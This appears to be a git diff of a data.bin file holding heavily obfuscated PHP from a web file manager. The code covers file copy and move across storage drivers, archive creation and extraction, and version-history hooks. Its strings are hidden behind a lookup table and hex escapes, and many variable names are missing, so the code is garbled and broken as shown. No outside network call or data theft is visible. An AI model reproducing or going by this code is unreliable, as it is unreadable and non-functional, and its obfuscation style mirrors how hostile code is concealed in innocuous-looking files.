diff --git a/app/sdks/archiveLib/bin/data.bin b/app/sdks/archiveLib/bin/data.bin
index a0d5a20b..07f9658e 100755
--- a/app/sdks/archiveLib/bin/data.bin
+++ b/app/sdks/archiveLib/bin/data.bin
@@ -1,2 +1,2 @@
pathParse[$Ի[1165]]) { $ = $߽܂ސ; $ = $߽܂ސ->pathParse[$Ի[1165]]; $߽܂ސ = self::driverMake($); } if ($->pathParse[$Ի[1165]]) { $ = $->pathParse[$Ի[1165]]; $ = self::driverMake($); } $ = $߽܂ސ->pathFather($Ȏ); $ = !0; if (!$ && self::driverIsSame($, $߽܂ސ)) { $ = !1; } $» = self::copyFile($, $Η, $߽܂ސ, $, $ȥ[$Ի[32]], $); if ($) { $» = $->getPathOuter($»); } return $»; } private static function copyMove($ǞɈ, $·, $Ɣא, $, $ǖ = false) { $ꠒ =& $_SERVER[ö]; if (!$ǞɈ || $ǞɈ == $ꠒ[8] || !$·) { return !1; } ignore_timeout(); $¿ = self::driverMake($ǞɈ); $Ƥ˲ = self::driverMake($·); $ = $ == $ꠒ[557]; $ԏ = !1; if ($Ƥ˲->pathParse[$ꠒ[1165]]) { $ԏ = $Ƥ˲; $· = $Ƥ˲->pathParse[$ꠒ[1165]]; $Ƥ˲ = self::driverMake($·); } if ($¿->pathParse[$ꠒ[1165]]) { $ǞɈ = $¿->pathParse[$ꠒ[1165]]; $¿ = self::driverMake($ǞɈ); } self::check($¿, $ǞɈ, $Ƥ˲, $·); Hook::trigger($ꠒ[1166], $¿, $ǞɈ, $Ƥ˲, $·); $ = self::driverIsSame($¿, $Ƥ˲); if ($) { if ($ == $ꠒ[557] && !method_exists($Ƥ˲, $ꠒ[1167]) && trim($·, $ꠒ[8]) == trim($Ƥ˲->pathFather($ǞɈ), $ꠒ[8])) { if ($¿->pathThis($ǞɈ) != $ǖ && !$¿->isTypeObject()) { return $¿->rename($ǞɈ, $ǖ); } return $Ƥ˲->getPathOuter($ǞɈ); } if (method_exists($Ƥ˲, $)) { return $Ƥ˲->{$}($ǞɈ, $·, $Ɣא, $ǖ); } } if ($ && $ == $ꠒ[557] && $Ƥ˲->getType() == $ꠒ[106]) { $ = $Ƥ˲->movePath($ǞɈ, $·, $ǖ); if ($) { return $; } } $ = $¿->isFile($ǞɈ); if (!$ && $Ƥ˲->getType() == $ꠒ[764] && $¿->getType() == $ꠒ[106]) { $ = $Ƥ˲->copyFolderFromIO($¿, $ǞɈ, $·, $Ɣא, $, $ǖ); } else { $ = self::copyPath($¿, $ǞɈ, $Ƥ˲, $·, $Ɣא, $, $, $ǖ); } if ($ && $) { $¿->remove($ǞɈ); } if ($ԏ) { $ = $ԏ->getPathOuter($); } return $; } private static function check($⳻, $, $, &$ʑ̤) { $鉽 =& $_SERVER[ö]; if (self::driverIsSame($⳻, $) && $⳻->isFolder($) && $⳻->isParentOf($, $ʑ̤)) { show_json(LNG($鉽[1168]), !1); } if (!$⳻->exist($)) { show_json(LNG($鉽[105]), !1); } } private static function copyPath($Ǎ, $NJ, $, $, $, $, $ȃ, $ؠ = false, $БÇ = true) { $ȇٮ =& $_SERVER[ö]; $ = empty($ؠ) && $ؠ !== $ȇٮ[197] ? $Ǎ->pathThis($NJ) : $ؠ; if ($) { $ = $->fileNameExist($, $); $ַ = $; $ = $->fileNameAuto($, $, $, !$ȃ); if (!$ || $ַ != $) { $ = !1; } if ($БÇ && !$) { $->_data[$ȇٮ[1169]] = !0; } } if ($ȃ) { return self::copyFile($Ǎ, $NJ, $, $, $, $); } if ($ == REPEAT_RENAME_FOLDER) { $ = !1; } $˳ = rtrim($, $ȇٮ[8]) . $ȇٮ[8] . $; $ = $->mkdir($->getPath($˳), $); $ = $->getPathInner($); $ñ = $Ǎ->listPath($NJ, !0); $ñ = is_array($ñ) ? $ñ : array($ȇٮ[83] => array(), $ȇٮ[82] => array()); $핐 = array_merge($ñ[$ȇٮ[83]], $ñ[$ȇٮ[82]]); foreach ($핐 as $) { $ = $[$ȇٮ[33]] == $ȇٮ[199]; $NJ = $Ǎ->getPathInner($[$ȇٮ[84]]); $ = self::copyPath($Ǎ, $NJ, $, $, $, $, $, !1, !1); if (!$) { IO::errorTips($ȇٮ[1170] . $NJ . $ȇٮ[70] . $); } } self::copyMoveKeepInfo($Ǎ, $NJ, $); return $; } private static function copyFile($Ҁ, $ʥ, $, $, $, $) { $ך =& $_SERVER[ö]; $ = $->getPath(rtrim($, $ך[8]) . $ך[8] . $); $و = $ך[1171] . time() . rand_string(5); Hook::trigger($ך[1172], $Ҁ, $ʥ, $, $, $, $و); if (self::driverIsSame($Ҁ, $)) { if ($) { $ = $->moveFile($ʥ, $); } else { $ = $->copyFile($ʥ, $); } Hook::trigger($ך[1173], $Ҁ, $ʥ, $, $, $, $); self::copyMoveKeepInfo($Ҁ, $ʥ, $); return $; } $ؽ = TEMP_FILES; if ($GLOBALS[$ך[6]][$ך[89]][$ך[802]]) { $ؽ = $GLOBALS[$ך[6]][$ך[89]][$ך[802]]; } $ = $ؽ; mk_dir($); $Ǻ = $ . $و; $ = $Ǻ; $Ǻ = $Ҁ->download($ʥ, $Ǻ); $Ǻ = $Ҁ->iconvApp($Ǻ); if (substr($Ǻ, strlen($ؽ)) == $ؽ) { $ = !0; } $ = $->upload($, $Ǻ, $); self::remove($); Hook::trigger($ך[1173], $Ҁ, $ʥ, $, $, $, $); self::copyMoveKeepInfo($Ҁ, $ʥ, $); return $; } private static function copyMoveKeepInfo($, $б, $֝) { if (!$֝) { return; } $˗ = $->info($б); if (!is_array($˗)) { return; } IO::setModifyTime($֝, $˗[$_SERVER[ö][85]]); } public static function pathFather($ܜ) { $֘ = IO::init($ܜ); $Կܭ = $֘->pathFather($֘->path); return $֘->getPathOuter($Կܭ); } public static function fileOut($֝, $ = false, $ = false, $ = '') { $ۃ = self::driverMake($֝); if ($ۃ->isFileOutServer()) { return $ۃ->fileOutServer($֝, $, $, $); } return $ۃ->fileOut($֝, $, $, $); } public static function fileOutImage($Փ, $˦ = 250) { $ = array(250, 600, 1200, 2000, 3000, 5000); for ($未 = 0; $未 < count($); $未++) { if ($未 == 0 && $˦ <= $[$未]) { $˦ = $[$未]; break; } else { if ($˦ > $[$未 - 1] && $˦ <= $[$未]) { $˦ = $[$未]; break; } else { if ($未 == count($) - 1 && $˦ > $[$未]) { $˦ = $[$未]; break; } } } } $ = self::driverMake($Փ); if ($->isFileOutServer()) { return $->fileOutImageServer($Փ, $˦); } return $->fileOutImage($Փ, $˦); } private static function driverIsSame($ώ, $) { $Ꮰ=& $_SERVER[ö]; $꧲ = $ώ->getType(); $ٶ = $->getType(); if ($꧲ != $ٶ) { return !1; } if ($꧲ == $áŹ[764]) { return !0; } if ($꧲ == $áŹ[106]) { return !0; } if ($ώ->pathDriver == $->pathDriver) { return !0; } return !1; } public static function copyUpdate($ܴɌ, $) { $ =& $_SERVER[ö]; if (!IO::exist($ܴɌ)) { return !1; } if (!IO::exist($)) { IO::mkdir($); } $ = self::_listAll($ܴɌ); $Ϳض = self::_listAll($); $͛ = array(); $﹛ = array(); foreach ($ as $ê => $ՙ) { if (isset($Ϳض[$ê])) { if ($ՙ[$[75]] == 1) { continue; } if ($Ϳض[$ê][$[76]] == $ՙ[$[76]]) { continue; } } if ($ՙ[$[75]] == 1) { $﹛[] = $ . $[8] . $ê; continue; } $ = strstr(trim($ê, $[8]), $[8]) ? get_path_father($ê) : $[12]; $͛[] = array($[1174] => $ՙ[$[84]], $[1175] => rtrim($, $[8]) . $[8] . $, $[1176] => $ՙ); } $癚 = array($[199] => $͛, $[75] => $﹛); Hook::trigger($[1177], $ܴɌ, $, $癚); foreach ($﹛ as $ՙ) { IO::mkdir($ՙ); } foreach ($͛ as $ՙ) { IO::copy($ՙ[$[1174]], $ՙ[$[1175]], REPEAT_REPLACE); } } private static function _listAll($ě) { $ =& $_SERVER[ö]; $ě = KodIO::clear($ě); $ż = IO::listAll($ě); foreach ($ż as &$ѩ) { $司 = substr($ѩ[$[84]], strlen($ě)); $ѩ[$[1178]] = trim($司, $[8]); } unset($ѩ); return array_to_keyvalue($ż, $[1178]); } public static function fileSubstr($˨, $, $Ɇ = false) { $Н =& $_SERVER[ö]; $ۦ = self::driverMake($˨); $ = $ۦ->size($˨); $ = $; $ҕ = $Ɇ; if ($ < 0) { $ = $ + $; } if ($Ɇ === !1) { $Ɇ = $ - $; } if ($ + $Ɇ > $) { $Ɇ = $ - $; } if (!$ && $ۦ->getType() == $Н[106] && !$ۦ->exist($˨)) { $ = get_path_this($˨); $ʄ = parse_url_query($); if (is_array($ʄ) && isset($ʄ[$Н[32]])) { $ = urldecode($ʄ[$Н[32]]); } throw new Exception($Н[1179] . LNG($Н[1180]) . $Н[980] . clear_html($) . $Н[12]); } if ($Ɇ <= 0) { return $Н[12]; } if ($ < 0 || $ >= $ || $Ɇ > 1024 * 1024 * 10) { throw new Exception("\146\151\x6c\x65\122\145\141\x64\x20\145\162\162\157\x72\x21\40\163\x74\x61\162\164\x3d{$}\x3b\154\x65\x6e\x67\164\150\75{$Ɇ}\x3b\x20\163\x69\x7a\145\75{$}\73"); } $ = $ۦ->fileSubstr($˨, $, $Ɇ); if (!$ && $Ɇ && isset($GLOBALS[$Н[1181]])) { throw new Exception($GLOBALS[$Н[1181]][$Н[1182]]); } return $; } private static function driverMake(&$) { $Ӗ =& $_SERVER[ö]; $ = KodIO::parse($); if (!self::$driverListSystem) { $ֽ = Model($Ӗ[773])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($ֽ, $Ӗ[399]); } if ($[$Ӗ[33]] == KodIO::KOD_IO && !self::$driverListSystem[$[$Ӗ[399]]]) { return !1; } $ = $[$Ӗ[1183]]; $ž = self::driverGet($, $); return $ž; } private static function driverGet($Ыㅂ, &$ɋ) { $ǃ =& $_SERVER[ö]; $ēֿ = $Ыㅂ[$ǃ[1184]]; $ = $Ыㅂ[$ǃ[399]]; switch ($Ыㅂ[$ǃ[33]]) { case KodIO::KOD_IO: $ = self::$driverListSystem[$]; break; case KodIO::KOD_SOURCE: $ɋ = $ . $ɋ; $ = array($ǃ[1185] => $ǃ[1186], $ǃ[6] => $Ыㅂ); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $ܝ = $GLOBALS[$ǃ[1187]]; self::$driverListUser = array_to_keyvalue($ܝ, $ǃ[399]); } $ = self::$driverListUser[$]; break; case KodIO::KOD_SHARE_LINK: $ = array($ǃ[1185] => $ǃ[1188], $ǃ[6] => $Ыㅂ); $Էʘ = Action($ǃ[1189])->sharePathInfo($Ыㅂ[$ǃ[84]]); $ɋ = $Էʘ[$ǃ[402]]; if (!$Էʘ[$ǃ[402]]) { $ = Model($ǃ[601])->getInfo($Էʘ[$ǃ[489]]); $ɋ = KodIO::clear($[$ǃ[1190]] . $Ыㅂ[$ǃ[1183]]); $Ыㅂ[$ǃ[487]] = $; $Ыㅂ[$ǃ[1165]] = $ɋ; $ = array($ǃ[1185] => $ǃ[1191], $ǃ[6] => $Ыㅂ); } break; case KodIO::KOD_SHARE_ITEM: $ = array($ǃ[1185] => $ǃ[1192], $ǃ[6] => $Ыㅂ); $ = Model($ǃ[601])->getInfo($Ыㅂ[$ǃ[399]]); if ($[$ǃ[402]] == $ǃ[197]) { $ɋ = KodIO::clear($[$ǃ[1190]] . $Ыㅂ[$ǃ[1183]]); $Ыㅂ[$ǃ[487]] = $; $Ыㅂ[$ǃ[1165]] = $ɋ; $ = array($ǃ[1185] => $ǃ[1193], $ǃ[6] => $Ыㅂ); } else { if (!$ɋ) { $ɋ = $[$ǃ[402]]; } } break; default: $ɋ = $Ыㅂ[$ǃ[84]]; $ = array($ǃ[1185] => $ǃ[1194]); break; } $ɴٔ = $Ыㅂ[$ǃ[84]]; if (!isset(self::$driverCache[$ɴٔ])) { $ؑ = strtolower($[$ǃ[95]]); $ = $GLOBALS[$ǃ[6]][$ǃ[89]][$ǃ[832]]; $ = $ǃ[74] . (isset($[$ؑ]) ? $[$ؑ] : ucfirst($ؑ)); if (!class_exists($)) { show_json("{$}\40\156\157\164\40\x65\x78\x69\163\164\x73\x21", !1); } $ꞙǕ = isset($[$ǃ[6]]) ? $[$ǃ[6]] : !1; self::$driverCache[$ɴٔ] = new $($ꞙǕ); } $ט = self::$driverCache[$ɴٔ]; $ט->pathDriver = $ēֿ; $ט->pathBase = $ǃ[12]; if (isset($[$ǃ[6]][$ǃ[1195]])) { $ט->pathBase = rtrim($[$ǃ[6]][$ǃ[1195]], $ǃ[8]) . $ǃ[8]; $ɋ = $ט->pathBase . ltrim($ɋ, $ǃ[8]); } $ɋ = $ט->getPath($ɋ); if (isset($Ыㅂ[$ǃ[1165]])) { $ɋ = $Ыㅂ[$ǃ[1165]]; } $ט->path = $ɋ; return $ט; } public static function errorTips($ㅬ = false) { $ =& $_SERVER[ö]; static $쾈 = array(); $ = 1000; if ($ㅬ === -1) { return $쾈 ? $쾈[count($쾈) - 1] : $[12]; } if ($ㅬ === !1) { return implode($[231], $쾈); } if (count($쾈) >= $) { $쾈 = array_slice($쾈, $ * 0.5, $); } $쾈[] = $ㅬ; write_log($[162] . ACTION . $[1196] . $ㅬ, $[1197]); } public static function getLastError($Ƹ = '') { $˻ = self::errorTips(-1); return $˻ ? $˻ : $Ƹ; } } class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $; if ($) { return $; } $ʳȄ = IO::init($_SERVER[ö][8]); return $ʳȄ; } private static function iconvSystem($) { return self::local()->iconvSystem($); } private static function iconvApp($) { return self::local()->iconvApp($); } public static function zipFolder($, $ = "\172\151\x70", $ = '', $ޱ = REPEAT_RENAME) { $ =& $_SERVER[ö]; $߹ = IO::listPath($); if (!$߹) { return !1; } $߹ = array_merge($߹[$[82]], $߹[$[83]]); return self::zip($߹, $, $, $ޱ); } public static function zip($܌, $ן = "\172\151\x70", $ٖ = '', $ϯ = REPEAT_RENAME) { $턪 =& $_SERVER[ö]; if (is_string($܌) && $܌) { $܌ = array(array($턪[84] => $܌)); } $ŷؚ = self::init($܌[0][$턪[84]]); $ = self::info($܌[0][$턪[84]]); $ = $턪[12]; $ݔ = $턪[12]; $ = $턪[12]; if ($ٖ) { $ݔ = get_path_father($ٖ); $ = get_path_this($ٖ); } else { $ݔ = self::pathFather($[$턪[84]]); $ = $[$턪[32]] . $턪[10] . $ן; if (count($܌) > 1) { $ = IO::info($ݔ); $ = $[$턪[32]] . $턪[10] . $ן; } } if ($ŷؚ->getType() == $턪[106]) { $ = self::init($ݔ); $ = $->getType() == $턪[106] ? $ݔ : get_path_father($ŷؚ->path); $ = rtrim($, $턪[8]) . $턪[8]; mk_dir($); } else { $ = TEMP_FILES . $턪[1198] . time() . rand_string(8) . $턪[8]; mk_dir($); file_put_contents($ . $턪[1199], $턪[12]); $ = $; } $ײ = IO::info($); if (!$ײ || !$ײ[$턪[202]]) { show_json(LNG($턪[1200]), !1); } $ = self::zipFileList($܌, $); foreach ($ as $ʊ => $ޏ) { $[$ʊ] = self::iconvSystem($ޏ); } $߂뢙 = get_filename_auto($ . $, $턪[12], $ϯ); KodArchive::create(self::iconvSystem($߂뢙), $); if (!IO::exist($߂뢙)) { if ($) { del_dir($); } show_json(LNG($턪[1201]), !1); } if (!$) { return $߂뢙; } $ = self::move($߂뢙, $ݔ, $ϯ); if ($) { del_dir($); } if (!$߂뢙) { show_json(LNG($턪[1201]), !1); } return $; } public static function unzip($ȾԎ, $, $ = "\55\x31", $ = "\x72\x65\x70\154\x61\143\145") { $Ԇ =& $_SERVER[ö]; $ˋ = parent::info($ȾԎ); if (!$ˋ) { show_json(LNG($Ԇ[1202]), !1); } $ = IO::infoFull($); if (!$) { $ = IO::mkdir($); } if (isset($[$Ԇ[402]]) && trim($[$Ԇ[84]], $Ԇ[8]) != trim($, $Ԇ[8])) { $ڬ = KodIO::make($[$Ԇ[432]]); $ɭ = IO::fileNameAuto($ڬ, $[$Ԇ[32]], REPEAT_RENAME_FOLDER, !0); $ = IO::mkdir($ڬ . $ɭ); } $ = $ && $ != $Ԇ[1203] ? @json_decode($, !0) : -1; $̓ = self::unzipPart($ȾԎ, $); if (!$̓ || !IO::exist($̓[$Ԇ[199]])) { show_json(LNG($Ԇ[105]), !1); } $փ = $̓[$Ԇ[1204]][count($̓[$Ԇ[1204]]) - 1]; if ($փ[$Ԇ[1205]] == -1 || substr($փ[$Ԇ[32]], -1, 1) == $Ԇ[8]) { $ = $̓[$Ԇ[1206]] . rand_string(10) . $Ԇ[8]; mk_dir($); $Ĩ = count($̓[$Ԇ[1204]]) == 1 ? IO::ext($ȾԎ) : get_path_ext($̓[$Ԇ[199]]); $ӧƭ = KodArchive::extract(self::iconvSystem($̓[$Ԇ[199]]), $, $փ[$Ԇ[1205]], $ɭ, $Ĩ); self::unzipErrorCheck($ӧƭ, array($Ԇ[1207], $ȾԎ, $Ĩ, $, $̓)); Hook::trigger($Ԇ[1208], $); recursion_dir($, $, $쿮ŋ, 0); $Ϊ = array_merge($, $쿮ŋ); $ = array(); foreach ($Ϊ as $낎) { $ě = IO::move(self::iconvApp($낎), $, $); if ($ě) { $[] = $ě; } } del_dir($); } else { $ě = IO::move($̓[$Ԇ[199]], $, $, get_path_this($փ[$Ԇ[32]])); if ($ě) { $[] = $ě; } } return $ ? $ : !1; } public static function unzipList($) { $ő =& $_SERVER[ö]; $ = isset($[$ő[1209]]) ? $[$ő[1209]] : !1; $Ļ = isset($[$ő[1205]]) ? @json_decode($[$ő[1205]], !0) : -1; $˟ٙ = self::unzipPart($[$ő[84]], $Ļ); if (!$˟ٙ || !IO::exist($˟ٙ[$ő[199]])) { show_json(LNG($ő[105]), !1); } $ = $˟ٙ[$ő[1204]][count($˟ٙ[$ő[1204]]) - 1]; $汸ڤ = in_array(IO::ext($˟ٙ[$ő[199]]), array($ő[313], $ő[1210], $ő[1211], $ő[1212], $ő[1213], $ő[1214])); if (!$ && ($[$ő[1205]] == -1 || $汸ڤ)) { $ = $˟ٙ[$ő[1206]] . get_path_this($˟ٙ[$ő[199]]) . $ő[1215]; if (!IO::exist($)) { $֩ = $[$ő[1205]] == -1 ? get_path_ext(IO::pathThis($[$ő[84]])) : get_path_ext($˟ٙ[$ő[199]]); $Ҷ = KodArchive::listContent(self::iconvSystem($˟ٙ[$ő[199]]), !0, $֩); self::unzipErrorCheck($Ҷ, array($ő[1216], $, $˟ٙ)); @file_put_contents($, json_encode($Ҷ[$ő[1217]])); } return @json_decode(IO::getContent($), !0); } IO::fileOut($˟ٙ[$ő[199]], $, get_path_this($[$ő[32]])); die; } private static function zipFileList($Ȋ, $ = false) { $Ƅ =& $_SERVER[ö]; $éԣ = array(); foreach ($Ȋ as $༜) { $ = $༜[$Ƅ[84]]; if ($) { $ = self::copy($༜[$Ƅ[84]], $, $Ƅ[824]); } else { $ȁ = self::init($༜[$Ƅ[84]]); if ($ȁ->getType() == $Ƅ[106]) { $ = $ȁ->path; } } if ($ && self::local()->exist($)) { $éԣ[$༜[$Ƅ[84]]] = $; } } if (!empty($éԣ)) { return array_values($éԣ); } show_json(LNG($Ƅ[1180]), !1); } private static function localFilePath($Ӭӥ) { $υ =& $_SERVER[ö]; $ǫ = KodIO::parse($Ӭӥ); if ($ǫ[$υ[33]] == KodIO::KOD_SOURCE) { $Й = Model($υ[831])->fileInfoGet(KodIO::sourceID($Ӭӥ)); if (!$Й[$υ[84]]) { show_json($υ[1218], !1); } $Ӭӥ = $Й[$υ[84]]; } $ = self::init($Ӭӥ); if ($->pathParse[$υ[1165]]) { $Ӭӥ = $->pathParse[$υ[1165]]; $ = self::init($Ӭӥ); } $ = $->getType(); if ($ == $υ[106] || $ == $υ[1219]) { if (!$->exist($->path)) { show_json(LNG($υ[105]), !1); } return $->path; } return !1; } public static function unzipPart($, $ = -1) { $ٽ =& $_SERVER[ö]; $ĝ = IO::pathThis($); if (!$ || $ == -1) { $ = array(array($ٽ[32] => $ĝ, $ٽ[1205] => -1)); $[0][$ٽ[1220]] = $[0][$ٽ[32]]; } else { if (is_array($)) { $ = $; $ڵ = count($) - 1; for ($Ǖ = 0; $Ǖ <= $ڵ; $Ǖ++) { $ț = $[$Ǖ]; $٠û = get_path_this($ț[$ٽ[32]]) . (checkExtSafe($ț[$ٽ[32]]) ? $ٽ[12] : $ٽ[1221]); $[$Ǖ][$ٽ[1220]] = $ٽ[1222] . intval($ț[$ٽ[1205]]) . $ٽ[386] . $٠û; if ($Ǖ == 0) { continue; } $[$Ǖ][$ٽ[1220]] = $[$Ǖ - 1][$ٽ[1220]] . $ٽ[1223] . $[$Ǖ][$ٽ[1220]]; } } } if (!is_array($) || count($) == 0) { return !1; } $Ӄ = $[count($) - 1]; if (!IO::exist($)) { return !1; } $ٵ = TEMP_FILES . $ٽ[1224] . kodIO::hashPathSafe($) . $ٽ[8]; $۸ = $ٵ . $Ӄ[$ٽ[1220]]; mk_dir($ٵ); file_put_contents(TEMP_FILES . $ٽ[1199], $ٽ[12]); if (IO::exist($۸)) { return array($ٽ[199] => $۸, $ٽ[1204] => $, $ٽ[1206] => $ٵ); } $Ԃ = self::localFilePath($); if (!$Ԃ) { $Ԃ = $ٵ . $ٽ[1225]; if (!IO::exist($Ԃ)) { self::copy($, $ٵ, !1, get_path_this($Ԃ)); } } if (!$Ԃ || !IO::exist($Ԃ)) { return !1; } if ($Ӄ[$ٽ[1205]] == -1) { return array($ٽ[199] => $Ԃ, $ٽ[1204] => $, $ٽ[1206] => $ٵ); } $ُ = $Ԃ; foreach ($ as $Ǖ => $ț) { if (!$ț || $ț[$ٽ[1205]] == $ٽ[1203]) { break; } if (substr($ț[$ٽ[32]], -1, 1) == $ٽ[8]) { break; } $ϳ = in_array(get_path_ext($ț[$ٽ[1220]]), array($ٽ[313], $ٽ[1210], $ٽ[1211], $ٽ[1212], $ٽ[1213], $ٽ[1214])); $Ƣ = $Ǖ == count($) - 1 && $ϳ; $ = $ٵ . $ț[$ٽ[1220]]; $豓 = $ٵ . get_path_this($ț[$ٽ[32]]); if (IO::exist($)) { $ُ = $; continue; } $б = $Ǖ == 0 ? get_path_ext($ĝ) : get_path_ext($ُ); $ = KodArchive::extract(self::iconvSystem($ُ), $ٵ, $ț[$ٽ[1205]], $ꞍȞ, $б); self::unzipErrorCheck($, array($ٽ[1226], $, $, $ț, $)); if (IO::exist($豓)) { IO::rename($豓, get_path_this($)); } $ُ = $; } $۸ = $ُ; return array($ٽ[199] => $ُ, $ٽ[1204] => $, $ٽ[1206] => $ٵ); } private static function unzipErrorCheck($۫, $щ = false) { $ =& $_SERVER[ö]; if ($۫[$[1227]]) { return !0; } write_log(array($[1228], $۫, $щ), $[1229]); show_json($[1230] . json_encode($۫[$[1217]]), !1); die; } } class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $ʚ =& $_SERVER[ö]; $ȭΕ = $GLOBALS[$ʚ[6]][$ʚ[89]]; if ($ȭΕ[$ʚ[1231]] != 1) { return; } if ($ȭΕ[$ʚ[1232]] <= 0) { return; } if (isset($_REQUEST[$ʚ[1233]]) && $_REQUEST[$ʚ[1233]] == $ʚ[88]) { return; } Hook::bind($ʚ[1234], $ʚ[1235]); Hook::bind($ʚ[1236], $ʚ[1237]); Hook::bind($ʚ[1238], $ʚ[1239]); Hook::bind($ʚ[1240], $ʚ[1241]); Hook::bind($ʚ[1242], $ʚ[1243]); Hook::bind($ʚ[1244], $ʚ[1245]); } public static function eventBeforeUpload($Ͼ) { if ($Ͼ[3] && $Ͼ[3] != REPEAT_REPLACE) { return; } $ = self::parsePath($Ͼ[0]); if (!$) { return; } self::add($); } public static function eventBeforeEdit($) { $ = self::parsePath($[0]); if (!$) { return; } self::add($); } public static function eventBeforeCopyFile($, $ĸ, $Ӈ, $, $ĸ, $) { $ʆ =& $_SERVER[ö]; if (isset($Ӈ->_data[$ʆ[1169]]) && $Ӈ->_data[$ʆ[1169]]) { return; } $ٶ = $Ӈ->getPathOuter($); $ٴ = self::parsePath($ٶ); if (!$ٴ) { return; } self::add($ٴ); } public static function eventBeforeRename($Ŵ) { $پ =& $_SERVER[ö]; $܀ = self::parsePath($Ŵ[0]); if (!$܀) { return; } $ = self::checkInHistory($܀); if (!$) { return; } if ($[$پ[33]] == $پ[199]) { $ = self::listData($܀); if ($ && $[$پ[369]]) { self::moveHistory($܀, $Ŵ[1]); } } else { IO::rename($[$پ[84]], $Ŵ[1]); } } public static function eventBeforeMove($ӰЂ) { $ =& $_SERVER[ö]; $ = self::parsePath($ӰЂ[0]); if (!$) { return; } $ = self::parsePath($ӰЂ[1]); if (!$) { return; } $̔ = $ӰЂ[3]; $˝ = self::checkInHistory($); if (!$˝) { return; } $ĨЉ = self::pathHistory($); if ($˝[$[33]] == $[199]) { $ў¹ = self::listData($); $ = rtrim($, $[8]) . $[8] . ($̔ ? $̔ : get_path_this($)); $ = self::listData($); if ($ў¹ && $ў¹[$[369]] && $ && $[$[369]]) { return self::clear($); } if ($ў¹ && $ў¹[$[369]]) { self::moveHistory($, $̔, $ĨЉ); } } else { IO::move($˝[$[84]], $ĨЉ, !1, $̔); self::clearEmptyFolder(IO::pathFather($˝[$[84]])); } } public static function eventAfterRemove($ڕ, $ϴ) { $ =& $_SERVER[ö]; if (!$ϴ) { return; } $ = self::parsePath($ڕ[0]); if (!$) { return; } $̑ = self::checkInHistory($); if (!$̑) { return; } if ($̑[$[33]] == $[199]) { $ = self::listData($, !1); if ($ && $[$[369]]) { self::clear($, !1); } } else { IO::remove($̑[$[84]]); self::clearEmptyFolder(IO::pathFather($̑[$[84]])); } } private static function checkInHistory($Ĝ) { $ = self::pathHistory($Ĝ); if (!IO::exist($)) { $ .= $_SERVER[ö][1246]; } return IO::exist($) ? IO::info($) : !1; } private static function parsePath($۪) { $؛ =& $_SERVER[ö]; if (!$۪) { return !1; } if ($GLOBALS[$؛[1247]]) { return; } $ԯ = KodIO::parse($۪); $ϒ = $ԯ[$؛[33]]; $ = !$ϒ || $ϒ == KodIO::KOD_IO || $ϒ == KodIO::KOD_SHARE_ITEM; if (!$ || !$ԯ[$؛[1248]]) { return !1; } if (substr($۪, 0, strlen(DATA_PATH . $؛[1249])) == DATA_PATH . $؛[1249]) { return !1; } if ($ϒ == KodIO::KOD_SHARE_ITEM) { $ۡ؆ = IO::init($۪); if ($ۡ؆->pathParse[$؛[1165]]) { return self::parsePath($ۡ؆->pathParse[$؛[1165]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $湇Ȗ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $؛[1250]); foreach ($湇Ȗ as $) { if (!$ϒ && substr($۪, 0, strlen($)) == $) { return !1; } } self::log($GLOBALS[$؛[1160]] . $؛[1251] . $۪); return $۪; } private static function pathHistory($) { $ =& $_SERVER[ö]; $ = self::$_historyBase . ltrim(KodIO::clear($), $[8]); $ = str_replace(array($[1252]), array($[1253]), $); return $; } public static function log($) { } public static function historyCount($) { $ =& $_SERVER[ö]; $ = array(); $ = array(); foreach ($ as $骞) { $ = get_path_father($骞); if (!$[$]) { $[$] = array(); } $[$][] = get_path_this($骞); } foreach ($ as $ => $Ӯ჻) { $ = self::parsePath($); if (!$) { continue; } foreach ($Ӯ჻ as $ӊ) { $Ҿ = self::listData(rtrim($, $[8]) . $[8] . $ӊ, !1); if ($Ҿ && $Ҿ[$[369]]) { $[rtrim($, $[8]) . $[8] . $ӊ] = count($Ҿ[$[369]]); } } } return $; } public static function add($Õ) { $ =& $_SERVER[ö]; $߷ = self::listData($Õ); if (!$߷) { return; } $ɾ = Model($[776])->get($[1254]); $ = $GLOBALS[$[6]][$[89]][$[1232]]; $ = $ɾ == $[1255] ? min(5, $) : $; if ($ <= 0) { return; } $ = IO::info($Õ); $ = $߷[$[369]]; if ($[$[76]] == 0) { return; } if ($[$[76]] >= 1024 * 1024 * 500) { return !1; } $찊 = IO::hashSimple($Õ); if ($ && $[0][$[177]] == $찊) { return !0; } if (array_key_exists($[202], $) && !$[$[202]]) { return !1; } $܍ = short_id(time()); $훚 = array($[399] => $܍, $[177] => $찊, $[32] => $[$[32]] . $[10] . date($[1256]) . rand_string(1), $[76] => $[$[76]], $[454] => USER_ID, $[200] => time(), $[1257] => $[12]); IO::mkdir($߷[$[1258]]); $ = IO::copy($Õ, $߷[$[1258]], !1, $훚[$[32]]); if (!$) { self::clearEmptyFolder($߷[$[1258]]); return !1; } array_unshift($, $훚); if (count($) > $) { $ߓ = array_slice($, $); foreach ($ߓ as $) { IO::remove($߷[$[1258]] . $[$[32]]); } $ = array_slice($, 0, $); } return self::saveData($߷[$[1259]], $); } public static function remove($, $) { $뎕钲 =& $_SERVER[ö]; $ = self::listData($); $ĩ֟ = array(); if (!$) { return !1; } foreach ($[$뎕钲[369]] as $۽) { if ($۽[$뎕钲[399]] == $) { IO::remove($[$뎕钲[1258]] . $۽[$뎕钲[32]]); continue; } $ĩ֟[] = $۽; } return self::saveData($[$뎕钲[1259]], $ĩ֟); } public static function clear($Ђ, $ = true) { $ꦊ =& $_SERVER[ö]; $ = self::listData($Ђ, $); if (!$) { return !1; } foreach ($[$ꦊ[369]] as $ߡ۫) { IO::remove($[$ꦊ[1258]] . $ߡ۫[$ꦊ[32]]); } return self::saveData($[$ꦊ[1259]], array()); } public static function moveHistory($畢, $ = '', $ = '') { $Ѣ =& $_SERVER[ö]; $ = self::listData($畢, !1); if (!$ || !$[$Ѣ[369]]) { return !1; } $ = $Ѣ[1246]; $ = $ ? $ : get_path_this($畢); $ = $ ? $ : $[$Ѣ[1258]]; $ؿ = substr(get_path_this($[$Ѣ[1259]]), 0, -strlen($)); foreach ($[$Ѣ[369]] as $ => $) { $ = $ . substr($[$Ѣ[32]], strlen($ؿ)); 